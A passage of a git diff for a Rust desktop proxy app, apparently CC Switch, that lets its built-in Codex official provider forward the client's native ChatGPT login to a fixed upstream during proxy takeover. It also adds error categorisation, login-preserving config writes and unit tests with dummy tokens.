unified_session_bucket_preserves_other_keys_and_explicit_routing() { let with_catalog = "model_catalog_json = \"cc-switch-model-catalog.json\"\n"; diff --git a/src-tauri/src/commands/proxy.rs b/src-tauri/src/commands/proxy.rs index 93f62b403..e171d1e4b 100644 --- a/src-tauri/src/commands/proxy.rs +++ b/src-tauri/src/commands/proxy.rs @@ -6,6 +6,7 @@ use crate::error::AppError; use crate::proxy::types::*; use crate::proxy::{CircuitBreakerConfig, CircuitBreakerStats}; use crate::store::AppState; +use std::str::FromStr; /// 启动代理服务器(仅启动服务,不接管 Live 配置) #[tauri::command] @@ -279,13 +280,18 @@ pub async fn switch_proxy_provider( app_type: String, provider_id: String, ) -> Result<(), String> { - // Block official providers during proxy takeover + // Codex's built-in official provider can use the client's native OpenAI + // login through takeover. Other official providers remain blocked. let provider = state .db .get_provider_by_id(&provider_id, &app_type) .map_err(|e| format!("读取供应商失败: {e}"))? .ok_or_else(|| format!("供应商不存在: {provider_id}"))?; - if provider.category.as_deref() == Some("official") { + let app = crate::app_config::AppType::from_str(&app_type) + .map_err(|e| format!("无效的应用类型: {e}"))?; + if provider.category.as_deref() == Some("official") + && !crate::services::provider::official_provider_supports_proxy_takeover(&app, &provider) + { return Err( "代理接管模式下不能切换到官方供应商 (Cannot switch to official provider during proxy takeover)" .to_string(), diff --git a/src-tauri/src/database/dao/providers_seed.rs b/src-tauri/src/database/dao/providers_seed.rs index 2babe36e2..8091a1031 100644 --- a/src-tauri/src/database/dao/providers_seed.rs +++ b/src-tauri/src/database/dao/providers_seed.rs @@ -11,6 +11,7 @@ use crate::app_config::AppType; pub(crate) const CLAUDE_DESKTOP_OFFICIAL_PROVIDER_ID: &str = "claude-desktop-official"; +pub(crate) const CODEX_OFFICIAL_PROVIDER_ID: &str = "codex-official"; /// 单条官方供应商种子定义。 pub(crate) struct OfficialProviderSeed { @@ -49,7 +50,7 @@ pub(crate) const OFFICIAL_SEEDS: &[OfficialProviderSeed] = &[ settings_config_json: r#"{"env":{}}"#, }, OfficialProviderSeed { - id: "codex-official", + id: CODEX_OFFICIAL_PROVIDER_ID, app_type: AppType::Codex, name: "OpenAI Official", website_url: "https://chatgpt.com/codex", diff --git a/src-tauri/src/database/mod.rs b/src-tauri/src/database/mod.rs index dda8da4a5..fa0652312 100644 --- a/src-tauri/src/database/mod.rs +++ b/src-tauri/src/database/mod.rs @@ -32,7 +32,9 @@ mod schema; mod tests; // DAO 类型导出供外部使用 -pub(crate) use dao::providers_seed::{is_official_seed_id, CLAUDE_DESKTOP_OFFICIAL_PROVIDER_ID}; +pub(crate) use dao::providers_seed::{ + is_official_seed_id, CLAUDE_DESKTOP_OFFICIAL_PROVIDER_ID, CODEX_OFFICIAL_PROVIDER_ID, +}; pub(crate) use dao::proxy::{ validate_cost_multiplier, validate_pricing_source, PRICING_SOURCE_REQUEST, PRICING_SOURCE_RESPONSE, diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index c5accf283..7759b61cb 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -39,6 +39,22 @@ use tokio::sync::RwLock; const PROXY_AUTH_PLACEHOLDER: &str = "PROXY_MANAGED"; +fn validate_codex_official_authorization(headers: &http::HeaderMap) -> Result<(), ProxyError> { + let authorization = headers + .get(http::header::AUTHORIZATION) + .and_then(|value| value.to_str().ok()) + .map(str::trim); + match authorization { + None | Some("") => Err(ProxyError::AuthError( + "Codex 官方登录不可用,请先在 Codex 中完成 ChatGPT 登录".to_string(), + )), + Some(value) if value.contains(PROXY_AUTH_PLACEHOLDER) => Err(ProxyError::AuthError( + "已切换到 OpenAI 官方供应商,请重启 Codex 或新建会话以加载官方登录配置".to_string(), + )), + Some(_) => Ok(()), + } +} + pub struct ForwardResult { pub response: ProxyResponse, pub provider: Provider, @@ -986,7 +1002,7 @@ impl RequestForwarder { // 先分类错误,决定是否计入 provider 健康度 // —— NonRetryable / ClientAbort 是客户端层错误,无论换哪家 provider 都会被拒绝, // 不应污染熔断器和数据库健康度(与 release_permit_neutral 同语义)。 - let category = self.categorize_proxy_error(&e); + let category = self.categorize_proxy_error(&e, provider); match category { ErrorCategory::Retryable => { @@ -1130,6 +1146,12 @@ impl RequestForwarder { && super::providers::should_convert_codex_responses_to_chat(provider, endpoint); let codex_responses_to_anthropic = matches!(app_type, AppType::Codex) && super::providers::should_convert_codex_responses_to_anthropic(provider, endpoint); + let codex_official_auth_passthrough = matches!(app_type, AppType::Codex) + && super::providers::is_codex_official_provider(provider); + + if codex_official_auth_passthrough { + validate_codex_official_authorization(headers)?; + } // 应用模型映射(独立于格式转换) // Claude Desktop proxy 模式必须先把 Desktop 可见的 claude-* route @@ -1840,6 +1862,17 @@ impl RequestForwarder { || key_str.eq_ignore_ascii_case("x-api-key") || key_str.eq_ignore_ascii_case("x-goog-api-key") { + // The built-in Codex official provider deliberately has no + // credential in CC Switch. `requires_openai_auth = true` makes + // Codex send its native ChatGPT authorization, which must reach + // the fixed official upstream unchanged. Other credential + // headers are still discarded. + if codex_official_auth_passthrough && key_str.eq_ignore_ascii_case("authorization") + { + saw_auth = true; + ordered_headers.append(key.clone(), value.clone()); + continue; + } if !saw_auth { saw_auth = true; for (ah_name, ah_value) in &auth_headers { @@ -2494,7 +2527,23 @@ impl RequestForwarder { } } - fn categorize_proxy_error(&self, error: &ProxyError) -> ErrorCategory { + fn categorize_proxy_error(&self, error: &ProxyError, provider: &Provider) -> ErrorCategory { + // Authentication belongs to the Codex client for the built-in official + // route. Retrying another provider would silently move the conversation + // away from the selected official account and poison its health state. + if super::providers::is_codex_official_provider(provider) + && (matches!(error, ProxyError::AuthError(_)) + || matches!( + error, + ProxyError::UpstreamError { + status: 401 | 403, + .. + } + )) + { + return ErrorCategory::NonRetryable; + } + match error { // 网络和上游错误:都应该尝试下一个供应商 ProxyError::Timeout(_) => ErrorCategory::Retryable, @@ -4197,14 +4246,53 @@ mod tests { #[test] fn invalid_client_history_is_not_retryable() { let forwarder = test_forwarder(Duration::ZERO, Duration::ZERO); + let provider = test_provider_with_type(None); assert_eq!( - forwarder.categorize_proxy_error(&ProxyError::InvalidRequest( - "invalid historical tool arguments".to_string() - )), + forwarder.categorize_proxy_error( + &ProxyError::InvalidRequest("invalid historical tool arguments".to_string()), + &provider, + ), ErrorCategory::NonRetryable ); } + #[test] + fn official_codex_auth_failures_are_not_retryable() { + let forwarder = test_forwarder(Duration::ZERO, Duration::ZERO); + let mut provider = test_provider_with_type(None); + provider.id = "codex-official".to_string(); + provider.category = Some("official".to_string()); + + for error in [ + ProxyError::AuthError("restart Codex".to_string()), + ProxyError::UpstreamError { + status: 401, + body: None, + }, + ProxyError::UpstreamError { + status: 403, + body: None, + }, + ] { + assert_eq!( + forwarder.categorize_proxy_error(&error, &provider), + ErrorCategory::NonRetryable + ); + } + } + + #[test] + fn official_codex_rejects_stale_proxy_placeholder_with_restart_hint() { + let mut headers = HeaderMap::new(); + headers.insert( + http::header::AUTHORIZATION, + HeaderValue::from_static("Bearer PROXY_MANAGED"), + ); + let error = validate_codex_official_authorization(&headers) + .expect_err("stale placeholder must be rejected"); + assert!(matches!(error, ProxyError::AuthError(message) if message.contains("重启 Codex"))); + } + #[test] fn rewrite_codex_responses_compact_endpoint_to_chat_preserves_query() { let (endpoint, passthrough_query) = diff --git a/src-tauri/src/proxy/providers/claude.rs b/src-tauri/src/proxy/providers/claude.rs index c8db6b919..dbaffbb2e 100644 --- a/src-tauri/src/proxy/providers/claude.rs +++ b/src-tauri/src/proxy/providers/claude.rs @@ -666,7 +666,7 @@ impl ProviderAdapter for ClaudeAdapter { fn extract_base_url(&self, provider: &Provider) -> Result { // Codex OAuth: 强制使用 ChatGPT 后端 API 端点(忽略用户配置的 base_url) if self.is_codex_oauth(provider) { - return Ok("https://chatgpt.com/backend-api/codex".to_string()); + return Ok(super::CHATGPT_CODEX_BASE_URL.to_string()); } // 1. 从 env 中获取 @@ -778,9 +778,9 @@ impl ProviderAdapter for ClaudeAdapter { fn build_url(&self, base_url: &str, endpoint: &str) -> String { // Codex OAuth: 所有请求统一走 /responses 端点 - if base_url == "https://chatgpt.com/backend-api/codex" { + if base_url == super::CHATGPT_CODEX_BASE_URL { let _ = endpoint; // 忽略原始 endpoint - return "https://chatgpt.com/backend-api/codex/responses".to_string(); + return format!("{}/responses", super::CHATGPT_CODEX_BASE_URL); } // NOTE: diff --git a/src-tauri/src/proxy/providers/codex.rs b/src-tauri/src/proxy/providers/codex.rs index 281d2968d..3fc42eb20 100644 --- a/src-tauri/src/proxy/providers/codex.rs +++ b/src-tauri/src/proxy/providers/codex.rs @@ -206,6 +206,14 @@ pub fn should_convert_codex_responses_to_anthropic(provider: &Provider, endpoint ) && codex_provider_uses_anthropic(provider) } +/// The single built-in official Codex provider. Unlike managed Codex OAuth +/// providers used by Claude, this route receives authentication from the +/// calling Codex client (`requires_openai_auth = true`). +pub fn is_codex_official_provider(provider: &Provider) -> bool { + provider.id == crate::database::CODEX_OFFICIAL_PROVIDER_ID + && provider.category.as_deref() == Some("official") +} + /// Resolve the model-catalog tool profile for a Codex provider using the SAME /// Anthropic detection as the proxy router ([`codex_provider_uses_anthropic`]), so the /// generated catalog never disagrees with the routed transform. A provider whose @@ -217,6 +225,9 @@ pub fn resolve_codex_catalog_tool_profile( provider: &Provider, ) -> crate::codex_config::CodexCatalogToolProfile { use crate::codex_config::CodexCatalogToolProfile; + if is_codex_official_provider(provider) { + return CodexCatalogToolProfile::NativeResponses; + } if codex_provider_uses_anthropic(provider) { return CodexCatalogToolProfile::Anthropic; } @@ -634,6 +645,10 @@ impl ProviderAdapter for CodexAdapter { } fn extract_base_url(&self, provider: &Provider) -> Result { + if is_codex_official_provider(provider) { + return Ok(super::CHATGPT_CODEX_BASE_URL.to_string()); + } + // 1. 尝试直接获取 base_url 字段 if let Some(url) = provider .settings_config @@ -781,6 +796,30 @@ mod tests { } } + #[test] + fn official_provider_uses_fixed_chatgpt_backend_without_stored_key() { + let mut provider = create_provider(json!({ "auth": {}, "config": "" })); + provider.id = "codex-official".to_string(); + provider.category = Some("official".to_string()); + let adapter = CodexAdapter::new(); + + assert!(is_codex_official_provider(&provider)); + assert_eq!( + adapter + .extract_base_url(&provider) + .expect("official base url"), + "https://chatgpt.com/backend-api/codex" + ); + assert!(adapter.extract_auth(&provider).is_none()); + assert_eq!( + adapter.build_url( + "https://chatgpt.com/backend-api/codex", + "/responses/compact" + ), + "https://chatgpt.com/backend-api/codex/responses/compact" + ); + } + #[test] fn prompt_cache_routing_auto_enables_known_upstreams_only() { let kimi = create_provider(json!({ diff --git a/src-tauri/src/proxy/providers/mod.rs b/src-tauri/src/proxy/providers/mod.rs index cbd2eac2b..c70d36764 100644 --- a/src-tauri/src/proxy/providers/mod.rs +++ b/src-tauri/src/proxy/providers/mod.rs @@ -41,6 +41,8 @@ use crate::app_config::AppType; use crate::provider::Provider; use serde::{Deserialize, Serialize}; +pub const CHATGPT_CODEX_BASE_URL: &str = "https://chatgpt.com/backend-api/codex"; + // 公开导出 pub use adapter::ProviderAdapter; pub use auth::{AuthInfo, AuthStrategy}; @@ -52,9 +54,9 @@ pub use claude::{ pub use codex::CodexAdapter; pub use codex::{ apply_codex_chat_upstream_model, apply_codex_upstream_model, codex_provider_upstream_model, - inject_codex_chat_prompt_cache_key, resolve_codex_catalog_tool_profile, - resolve_codex_chat_reasoning_config, should_convert_codex_responses_to_anthropic, - should_convert_codex_responses_to_chat, + inject_codex_chat_prompt_cache_key, is_codex_official_provider, + resolve_codex_catalog_tool_profile, resolve_codex_chat_reasoning_config, + should_convert_codex_responses_to_anthropic, should_convert_codex_responses_to_chat, }; pub use gemini::GeminiAdapter; @@ -110,7 +112,7 @@ impl ProviderType { } ProviderType::OpenRouter => "https://openrouter.ai/api", ProviderType::GitHubCopilot => "https://api.githubcopilot.com", - ProviderType::CodexOAuth => "https://chatgpt.com/backend-api/codex", + ProviderType::CodexOAuth => CHATGPT_CODEX_BASE_URL, } } diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 507686655..9c78ad058 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -43,6 +43,14 @@ use live::{ }; use usage::validate_usage_script; +/// The built-in Codex official provider is safe to select during takeover: +/// Codex keeps ownership of its ChatGPT login and the proxy only forwards the +/// authenticated request. Other official providers retain the existing block. +pub fn official_provider_supports_proxy_takeover(app_type: &AppType, provider: &Provider) -> bool { + matches!(app_type, AppType::Codex) + && crate::proxy::providers::is_codex_official_provider(provider) +} + /// 统一会话开关变更后,立即按新开关状态重写当前官方 Codex 供应商的 /// live 配置,使开关即时生效(无需等下一次切换)。 /// 当前供应商非官方(或不存在)时为 no-op:注入只作用于官方配置, @@ -2394,7 +2402,10 @@ impl ProviderService { // Block switching to official providers when proxy takeover is active. // Using a proxy with official APIs (Anthropic/OpenAI/Google) may cause account bans. - if should_hot_switch && _provider.category.as_deref() == Some("official") { + if should_hot_switch + && _provider.category.as_deref() == Some("official") + && !official_provider_supports_proxy_takeover(&app_type, _provider) + { return Err(AppError::localized( "switch.official_blocked_by_proxy", "代理接管模式下不能切换到官方供应商,使用代理访问官方 API 可能导致账号被封禁。请先关闭代理接管,或选择第三方供应商。", diff --git a/src-tauri/src/services/proxy.rs b/src-tauri/src/services/proxy.rs index 8f420c540..263809609 100644 --- a/src-tauri/src/services/proxy.rs +++ b/src-tauri/src/services/proxy.rs @@ -374,29 +374,11 @@ impl ProxyService { } let (_, proxy_codex_base_url) = self.build_proxy_urls().await?; - if let Some(auth) = effective_settings - .get_mut("auth") - .and_then(|v| v.as_object_mut()) - { - auth.insert("OPENAI_API_KEY".to_string(), json!(PROXY_TOKEN_PLACEHOLDER)); - } else if let Some(root) = effective_settings.as_object_mut() { - root.insert( - "auth".to_string(), - json!({ "OPENAI_API_KEY": PROXY_TOKEN_PLACEHOLDER }), - ); - } - - let config_str = effective_settings - .get("config") - .and_then(|v| v.as_str()) - .unwrap_or(""); - let updated_config = Self::apply_codex_proxy_toml_config_for_provider( - config_str, + Self::apply_codex_takeover_fields_for_provider( + &mut effective_settings, &proxy_codex_base_url, - Some(provider), - ); - effective_settings["config"] = json!(updated_config); - Self::attach_codex_model_catalog_from_provider(&mut effective_settings, Some(provider)); + provider, + )?; self.write_codex_takeover_live_for_provider(&effective_settings, Some(provider))?; Ok(()) @@ -738,7 +720,11 @@ impl ProxyService { crate::settings::get_effective_current_provider(&self.db, &app) { if let Ok(Some(provider)) = self.db.get_provider_by_id(¤t_id, app_type_str) { - if provider.category.as_deref() == Some("official") { + if provider.category.as_deref() == Some("official") + && !crate::services::provider::official_provider_supports_proxy_takeover( + &app, &provider, + ) + { if let Some(handle) = self.app_handle.read().await.as_ref() { let _ = handle.emit( "proxy-official-warning", @@ -984,6 +970,12 @@ impl ProxyService { if let Ok(Some(mut provider)) = self.db.get_provider_by_id(&provider_id, "codex") { + // The built-in official row is a routing capability, not + // a credential store. Its auth must remain empty even + // when the live Codex login uses OPENAI_API_KEY mode. + if crate::proxy::providers::is_codex_official_provider(&provider) { + return Ok(()); + } if let Some(token) = live_config .get("auth") .and_then(|v| v.get("OPENAI_API_KEY")) @@ -1361,34 +1353,16 @@ impl ProxyService { log::info!("Claude Live 配置已接管,代理地址: {proxy_url}"); } - // Codex: 修改 config.toml 的 base_url,auth.json 的 OPENAI_API_KEY(代理会注入真实 Token) + // Codex: project the selected provider through the local Responses endpoint. if let Ok(mut live_config) = self.read_codex_live() { - // 1. 修改 auth.json 中的 OPENAI_API_KEY(使用占位符) - if let Some(auth) = live_config.get_mut("auth").and_then(|v| v.as_object_mut()) { - auth.insert("OPENAI_API_KEY".to_string(), json!(PROXY_TOKEN_PLACEHOLDER)); - } - - // 2. 修改 config.toml 中的 base_url - let config_str = live_config - .get("config") - .and_then(|v| v.as_str()) - .unwrap_or(""); - let codex_provider = self - .get_current_provider_for_app(&AppType::Codex) - .ok() - .flatten(); - let updated_config = Self::apply_codex_proxy_toml_config_for_provider( - config_str, - &proxy_codex_base_url, - codex_provider.as_ref(), - ); - live_config["config"] = json!(updated_config); - Self::attach_codex_model_catalog_from_provider( + let codex_provider = self.require_current_provider_for_app(&AppType::Codex)?; + Self::apply_codex_takeover_fields_for_provider( &mut live_config, - codex_provider.as_ref(), - ); + &proxy_codex_base_url, + &codex_provider, + )?; - self.write_codex_takeover_live_for_provider(&live_config, codex_provider.as_ref())?; + self.write_codex_takeover_live_for_provider(&live_config, Some(&codex_provider))?; log::info!("Codex Live 配置已接管,代理地址: {proxy_codex_base_url}"); } @@ -1431,26 +1405,12 @@ impl ProxyService { } AppType::Codex => { let mut live_config = self.read_codex_live()?; - - if let Some(auth) = live_config.get_mut("auth").and_then(|v| v.as_object_mut()) { - auth.insert("OPENAI_API_KEY".to_string(), json!(PROXY_TOKEN_PLACEHOLDER)); - } - - let config_str = live_config - .get("config") - .and_then(|v| v.as_str()) - .unwrap_or(""); let codex_provider = self.require_current_provider_for_app(&AppType::Codex)?; - let updated_config = Self::apply_codex_proxy_toml_config_for_provider( - config_str, - &proxy_codex_base_url, - Some(&codex_provider), - ); - live_config["config"] = json!(updated_config); - Self::attach_codex_model_catalog_from_provider( + Self::apply_codex_takeover_fields_for_provider( &mut live_config, - Some(&codex_provider), - ); + &proxy_codex_base_url, + &codex_provider, + )?; self.write_codex_takeover_live_for_provider(&live_config, Some(&codex_provider))?; log::info!("Codex Live 配置已接管,代理地址: {proxy_codex_base_url}"); @@ -1507,34 +1467,17 @@ impl ProxyService { } AppType::Codex => { if let Ok(mut live_config) = self.read_codex_live() { - if let Some(auth) = live_config.get_mut("auth").and_then(|v| v.as_object_mut()) - { - auth.insert("OPENAI_API_KEY".to_string(), json!(PROXY_TOKEN_PLACEHOLDER)); - } - - let config_str = live_config - .get("config") - .and_then(|v| v.as_str()) - .unwrap_or(""); - let codex_provider = self - .get_current_provider_for_app(&AppType::Codex) - .ok() - .flatten(); - let updated_config = Self::apply_codex_proxy_toml_config_for_provider( - config_str, - &proxy_codex_base_url, - codex_provider.as_ref(), - ); - live_config["config"] = json!(updated_config); - Self::attach_codex_model_catalog_from_provider( + let codex_provider = self.require_current_provider_for_app(&AppType::Codex)?; + Self::apply_codex_takeover_fields_for_provider( &mut live_config, - codex_provider.as_ref(), - ); + &proxy_codex_base_url, + &codex_provider, + )?; - let _ = self.write_codex_takeover_live_for_provider( + self.write_codex_takeover_live_for_provider( &live_config, - codex_provider.as_ref(), - ); + Some(&codex_provider), + )?; } } AppType::Gemini => { @@ -1831,7 +1774,7 @@ impl ProxyService { Self::proxy_urls_match(url, &proxy_codex_base_url) }) }); - Ok(Self::codex_live_has_proxy_placeholder(&config) && base_url_matches) + Ok(Self::is_codex_live_taken_over(&config) && base_url_matches) } AppType::Gemini => { let config = self.read_gemini_live()?; @@ -1894,6 +1837,8 @@ impl ProxyService { token == PROXY_TOKEN_PLACEHOLDER }) .map_err(|e| format!("清理 Codex 接管占位符失败: {e}"))?; + let updated = crate::codex_config::remove_codex_official_proxy_route(&updated) + .map_err(|e| format!("清理 Codex 官方接管路由失败: {e}"))?; config["config"] = json!(updated); } @@ -2027,6 +1972,10 @@ impl ProxyService { fn is_codex_live_taken_over(config: &Value) -> bool { Self::codex_live_has_proxy_placeholder(config) + || config + .get("config") + .and_then(|v| v.as_str()) + .is_some_and(crate::codex_config::codex_config_has_official_proxy_route) } fn is_gemini_live_taken_over(config: &Value) -> bool { @@ -2046,7 +1995,7 @@ impl ProxyService { fn live_has_proxy_placeholder_for_app(app_type: &AppType, config: &Value) -> bool { match app_type { AppType::Claude => Self::is_claude_live_taken_over(config), - AppType::Codex => Self::codex_live_has_proxy_placeholder(config), + AppType::Codex => Self::is_codex_live_taken_over(config), AppType::Gemini => Self::is_gemini_live_taken_over(config), _ => false, } @@ -2089,13 +2038,24 @@ impl ProxyService { .map_err(|e| format!("解析 {app_type} 现有备份失败: {e}")) }) .transpose()?; + // A stale takeover marker can survive without its DB backup (for + // example after a partial cleanup). In that abnormal state the live + // auth file is still the only copy of the user's login, so use it as + // the preservation source instead of replacing it with the empty + // official seed snapshot. + let existing_backup_value = + existing_backup_value.or_else(|| self.read_codex_live().ok()); if let Some(existing_value) = existing_backup_value.as_ref() { Self::preserve_codex_mcp_servers_from_existing_config( &mut effective_settings, existing_value, )?; - Self::preserve_codex_oauth_auth_in_backup(&mut effective_settings, existing_value)?; + Self::preserve_codex_auth_in_backup( + &mut effective_settings, + existing_value, + crate::proxy::providers::is_codex_official_provider(provider), + )?; } // 统一会话开关:备份是接管释放时恢复 live 的来源,官方配置的 @@ -2156,8 +2116,14 @@ impl ProxyService { .map_err(|e| format!("读取供应商失败: {e}"))? .ok_or_else(|| format!("供应商不存在: {provider_id}"))?; - // Defense-in-depth: block official providers during proxy takeover - if provider.category.as_deref() == Some("official") { + // Defense-in-depth: only the built-in Codex official provider supports + // native OpenAI auth passthrough during takeover. + if provider.category.as_deref() == Some("official") + && !crate::services::provider::official_provider_supports_proxy_takeover( + &app_type_enum, + &provider, + ) + { return Err( "代理接管模式下不能切换到官方供应商 (Cannot switch to official provider during proxy takeover)" .to_string(), @@ -2298,17 +2264,19 @@ impl ProxyService { Ok(()) } - fn preserve_codex_oauth_auth_in_backup( + fn preserve_codex_auth_in_backup( target_settings: &mut Value, existing_backup: &Value, + preserve_api_key: bool, ) -> Result<(), String> { - if !crate::settings::preserve_codex_official_auth_on_switch() { - return Ok(()); - } - let Some(existing_auth) = existing_backup .get("auth") - .filter(|auth| crate::codex_config::codex_auth_has_oauth_login_material(auth)) + .filter(|auth| { + !Self::codex_auth_has_proxy_placeholder(auth) + && (crate::codex_config::codex_auth_has_oauth_login_material(auth) + || (preserve_api_key + && crate::codex_config::codex_auth_has_login_material(auth))) + }) .cloned() else { return Ok(()); @@ -2350,33 +2318,69 @@ impl ProxyService { // ==================== Live 配置读写辅助方法 ==================== - /// 更新 TOML 字符串中的 base_url(委托给 codex_config 共享实现) - fn update_toml_base_url(toml_str: &str, new_url: &str) -> String { - crate::codex_config::update_codex_toml_field(toml_str, "base_url", new_url) - .unwrap_or_else(|_| toml_str.to_string()) - } - /// 接管 Codex 时,本地客户端必须继续以 Responses wire API 访问代理。 /// 真实上游是否走 Chat Completions 由 provider 配置决定,并在代理内部转换。 fn apply_codex_proxy_toml_config_for_provider( toml_str: &str, proxy_url: &str, provider: Option<&Provider>, - ) -> String { - let updated = Self::update_toml_base_url(toml_str, proxy_url); + ) -> Result { + if provider.is_some_and(crate::proxy::providers::is_codex_official_provider) { + return crate::codex_config::apply_codex_official_proxy_route(toml_str, proxy_url) + .map_err(|e| format!("生成 Codex 官方接管配置失败: {e}")); + } + + let updated = crate::codex_config::update_codex_toml_field(toml_str, "base_url", proxy_url) + .map_err(|e| format!("更新 Codex 代理地址失败: {e}"))?; let mut updated = crate::codex_config::update_codex_toml_field(&updated, "wire_api", "responses") - .unwrap_or(updated); + .map_err(|e| format!("更新 Codex wire_api 失败: {e}"))?; if let Some(upstream_model) = provider.and_then(crate::proxy::providers::codex_provider_upstream_model) { updated = crate::codex_config::update_codex_toml_field(&updated, "model", &upstream_model) - .unwrap_or(updated); + .map_err(|e| format!("更新 Codex 上游模型失败: {e}"))?; } - updated + Ok(updated) + } + + fn apply_codex_takeover_auth_placeholder(settings: &mut Value, provider: Option<&Provider>) { + if provider.is_some_and(crate::proxy::providers::is_codex_official_provider) { + return; + } + + if let Some(auth) = settings.get_mut("auth").and_then(|v| v.as_object_mut()) { + auth.insert("OPENAI_API_KEY".to_string(), json!(PROXY_TOKEN_PLACEHOLDER)); + } else if let Some(root) = settings.as_object_mut() { + root.insert( + "auth".to_string(), + json!({ "OPENAI_API_KEY": PROXY_TOKEN_PLACEHOLDER }), + ); + } + } + + fn apply_codex_takeover_fields_for_provider( + settings: &mut Value, + proxy_base_url: &str, + provider: &Provider, + ) -> Result<(), String> { + Self::apply_codex_takeover_auth_placeholder(settings, Some(provider)); + let config_text = settings + .get("config") + .and_then(|value| value.as_str()) + .unwrap_or("") + .to_string(); + let projected = Self::apply_codex_proxy_toml_config_for_provider( + &config_text, + proxy_base_url, + Some(provider), + )?; + settings["config"] = json!(projected); + Self::attach_codex_model_catalog_from_provider(settings, Some(provider)); + Ok(()) } fn attach_codex_model_catalog_from_provider( @@ -2497,27 +2501,38 @@ impl ProxyService { config: &Value, provider: Option<&Provider>, ) -> Result<(), String> { - if crate::settings::preserve_codex_official_auth_on_switch() { - if let Some(auth) = config - .get("auth") - .filter(|auth| Self::codex_auth_has_proxy_placeholder(auth)) - { - let config_str = config.get("config").and_then(|v| v.as_str()).unwrap_or(""); - let profile = provider - .map(crate::proxy::providers::resolve_codex_catalog_tool_profile) - .unwrap_or(crate::codex_config::CodexCatalogToolProfile::ProxyChat); - let prepared_config = - crate::codex_config::prepare_codex_live_config_text_with_optional_catalog( - config, config_str, profile, - ) - .map_err(|e| format!("写入 Codex 配置失败: {e}"))?; - let live_config = - crate::codex_config::prepare_codex_provider_live_config(auth, &prepared_config) - .map_err(|e| format!("写入 Codex 配置失败: {e}"))?; - crate::codex_config::write_codex_live_config_atomic(Some(&live_config)) - .map_err(|e| format!("写入 Codex 配置失败: {e}"))?; - return Ok(()); - } + let official_passthrough = + provider.is_some_and(crate::proxy::providers::is_codex_official_provider); + let placeholder_auth = config + .get("auth") + .is_some_and(Self::codex_auth_has_proxy_placeholder); + + // Takeover must never overwrite Codex's long-lived ChatGPT login. For + // third-party providers the placeholder is moved into config.toml; for + // codex-official no placeholder is needed because requires_openai_auth + // makes Codex supply its native authorization. + if official_passthrough || placeholder_auth { + let config_str = config.get("config").and_then(|v| v.as_str()).unwrap_or(""); + let profile = provider + .map(crate::proxy::providers::resolve_codex_catalog_tool_profile) + .unwrap_or(crate::codex_config::CodexCatalogToolProfile::ProxyChat); + let prepared_config = + crate::codex_config::prepare_codex_live_config_text_with_optional_catalog( + config, config_str, profile, + ) + .map_err(|e| format!("写入 Codex 配置失败: {e}"))?; + let live_config = if official_passthrough { + prepared_config + } else { + crate::codex_config::prepare_codex_provider_live_config( + config.get("auth").unwrap_or(&Value::Null), + &prepared_config, + ) + .map_err(|e| format!("写入 Codex 配置失败: {e}"))? + }; + crate::codex_config::write_codex_live_config_atomic(Some(&live_config)) + .map_err(|e| format!("写入 Codex 配置失败: {e}"))?; + return Ok(()); } self.write_codex_live_for_provider(config, provider) @@ -2561,9 +2576,11 @@ impl ProxyService { match (auth, prepared_cfg.as_deref()) { (Some(auth), Some(cfg)) => { - let auth_path = get_codex_auth_path(); if auth.as_object().is_some_and(|obj| obj.is_empty()) { - let _ = crate::config::delete_file(&auth_path); + // An empty provider snapshot must not destroy an existing + // Codex login. This is especially important when takeover + // switches from an API-key-backed official session to the + // built-in empty `codex-official` seed. let config_path = get_codex_config_path(); crate::config::write_text_file(&config_path, cfg) .map_err(|e| format!("写入 Codex config 失败: {e}"))?; @@ -3586,6 +3603,230 @@ wire_api = "responses" .expect("reset settings"); } + #[tokio::test] + #[serial] + async fn codex_takeover_hot_switches_between_builtin_official_and_third_party() { + let _home = TempHome::new(); + crate::settings::reload_settings().expect("reload settings"); + // Exercise the default setting: takeover itself must now preserve native + // auth regardless of the legacy compatibility toggle. + crate::settings::update_settings(crate::settings::AppSettings::default()) + .expect("reset settings"); + + let db = Arc::new(Database::memory().expect("init db")); + use_ephemeral_proxy_port(&db).await; + let service = ProxyService::new(db.clone()); + let oauth_auth = json!({ + "auth_mode": "chatgpt", + "tokens": { + "id_token": "oauth-id", + "access_token": "oauth-access" + } + }); + crate::codex_config::write_codex_live_atomic(&oauth_auth, Some("model = \"gpt-5.4\"\n")) + .expect("seed official live config"); + + let mut official = Provider::with_id( + "codex-official".to_string(), + "OpenAI Official".to_string(), + json!({ "auth": {}, "config": "model = \"gpt-5.4\"\n" }), + None, + ); + official.category = Some("official".to_string()); + db.save_provider("codex", &official) + .expect("save official provider"); + + let mut third_party = Provider::with_id( + "rightcode".to_string(), + "RightCode".to_string(), + json!({ + "auth": { "OPENAI_API_KEY": "rightcode-key" }, + "config": r#"model_provider = "rightcode" + +[model_providers.rightcode] +name = "RightCode" +base_url = "https://rightcode.example/v1" +wire_api = "responses" +"# + }), + None, + ); + third_party.category = Some("custom".to_string()); + db.save_provider("codex", &third_party) + .expect("save third-party provider"); + db.set_current_provider("codex", "codex-official") + .expect("set current provider"); + crate::settings::set_current_provider(&AppType::Codex, Some("codex-official")) + .expect("set local current provider"); + + service + .set_takeover_for_app("codex", true) + .await + .expect("enable official takeover"); + + let read_auth = || -> Value { + crate::config::read_json_file(&crate::codex_config::get_codex_auth_path()) + .expect("read live auth") + }; + assert_eq!(read_auth(), oauth_auth); + let official_live = std::fs::read_to_string(crate::codex_config::get_codex_config_path()) + .expect("read official takeover config"); + assert!(crate::codex_config::codex_config_has_official_proxy_route( + &official_live + )); + assert!(official_live.contains("requires_openai_auth = true")); + assert!(!official_live.contains(PROXY_TOKEN_PLACEHOLDER)); + + service + .hot_switch_provider("codex", "rightcode") + .await + .expect("switch to third-party provider"); + assert_eq!( + read_auth(), + oauth_auth, + "third-party route must preserve OAuth" + ); + let third_party_live = + std::fs::read_to_string(crate::codex_config::get_codex_config_path()) + .expect("read third-party takeover config"); + assert!(third_party_live.contains(PROXY_TOKEN_PLACEHOLDER)); + assert!(!crate::codex_config::codex_config_has_official_proxy_route( + &third_party_live + )); + + service + .hot_switch_provider("codex", "codex-official") + .await + .expect("switch back to official provider"); + assert_eq!( + read_auth(), + oauth_auth, + "official switch must reuse native OAuth" + ); + let official_live = 